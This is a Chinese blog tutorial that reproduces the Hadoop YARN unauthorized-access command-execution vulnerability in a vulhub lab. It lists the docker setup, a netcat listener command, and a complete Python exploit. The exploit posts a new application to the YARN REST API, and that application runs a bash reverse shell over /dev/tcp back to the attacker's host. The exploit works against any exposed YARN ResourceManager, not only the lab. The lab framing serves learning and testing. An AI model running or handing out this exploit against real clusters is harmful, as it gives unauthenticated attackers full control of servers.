数据库安全:Hadoop 未授权访问-命令执行漏洞.

数据库安全:Hadoop 未授权访问-命令执行漏洞.

Hadoop 未授权访问主要是因为 Hadoop YARN 资源管理系统配置不当,导致可以未经授权进行访问,从而被攻击者恶意利用。攻击者无需认证即可通过 RESTAPI 部署任务来执行任意指令,最终完全控制服务器。


目录:

[数据库安全:Hadoop 未授权访问-命令执行漏洞.](#数据库安全:Hadoop 未授权访问-命令执行漏洞.)

[Hadoop 未授权访问-命令执行漏洞:](#Hadoop 未授权访问-命令执行漏洞:)

[开启 vulhub 靶场环境:](#开启 vulhub 靶场环境:)

[Hadoop 未授权访问-命令执行漏洞测试:](#Hadoop 未授权访问-命令执行漏洞测试:)


Hadoop 未授权访问-命令执行漏洞:

开启 vulhub 靶场环境:

第一步:切换到 vulhub 目录下

复制代码
cd vulhub

第二步:切换到 hadoop 目录下

复制代码
cd hadoop

第三步:切换到 unauthorized-yarn 漏洞目录下.


第四步:开启 漏洞 服务.

复制代码
docker-compose up -d

第五步:访问 http:// (靶场 IP 地址):8088


Hadoop 未授权访问-命令执行漏洞测试:

第一步:访问 /cluster/apps 页面【如果 该页面存在的话,说明存在未授权访问漏洞】

复制代码
http://192.168.0.106:8088/cluster/apps

第二步:在 攻击机(kali)设置监听.

python 复制代码
nc -nvlp 8888

// 设置 监听 端口为8888

第三步:编写 Python 执行代码.

python 复制代码
import requests

def shell(url,vps_ip,port):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36'
    }
    response = requests.post(url+"/ws/v1/cluster/apps/new-application",headers=headers)
    id = response.json()["application-id"]
    data = {
        'application-id': id,
        'application-name': 'getshell',
        'am-container-spec': {
            'commands': {
                'command': '/bin/bash -i >& /dev/tcp/%s/%s 0>&1'%(vps_ip,port)
            },
        },
        'application-type': 'YARN'}
    exploit = requests.post(url+"/ws/v1/cluster/apps",headers=headers,json=data)
    print("[+] 执行完成!")


if __name__ == '__main__':
    url = input("目标的URL:")
    vps_ip = input("监听的主机IP地址(kali):")
    port = input("监听的主机端口(kali):")
    shell(url,vps_ip,port)

执行代码:


第四步:返回 监听的主机查看结果,发现已经成功.


参考文章:Hadoop 漏洞复现_hadoop命令执行漏洞-CSDN博客

学习链接:第55天:服务攻防-数据库安全_Redis_Hadoop_Mysql_未授权访问_RCE_哔哩哔哩_bilibili

相关推荐
IT小白杨35 分钟前
指纹浏览器安全架构技术评测与API自动化能力对比
经验分享·安全·自动化·业界资讯·安全架构·指纹浏览器
Chengbei1139 分钟前
云安全漏洞挖掘SKILL、一站式云漏洞挖掘工具,支持S3爆破、IMDS探测、K8s检测与AK/SK权限利用
前端·人工智能·网络安全·云原生·容器·kubernetes·系统安全
hz567891 小时前
应急管理部门跨部门会商用什么系统?指挥调度视频会议方案解析
网络·安全·音视频·实时音视频·信息与通信
柱子jason3 小时前
使用IOT-Tree的用户和角色控制监控画面指令下达授权
物联网·安全·自动化·iiot·iot-tree·监控画面
hzcj8883 小时前
汇正财经:AI重构信创,算力安全战略升级
人工智能·安全·重构
白猫不黑4 小时前
Web 应用中“敏感信息泄露“的常见位置?
前端·网络·web安全·网络安全·信息安全·渗透测试
蝎蟹居4 小时前
GBT 4706.1-2024逐句解读系列(31) 第7.21.1条款:说明书怎么写符合标准要求
人工智能·单片机·嵌入式硬件·物联网·安全
拉格朗日(Lagrange)4 小时前
【CISP】物理环境与网络通信安全
网络·安全
Allen_LVyingbo5 小时前
基于结构化电子病历的临床风险预测模型构建与大模型协同优化
python·安全·机器学习·docker·vim·健康医疗
王维同学14 小时前
Winsock 协议与名称空间 Provider 目录
网络·c++·windows·安全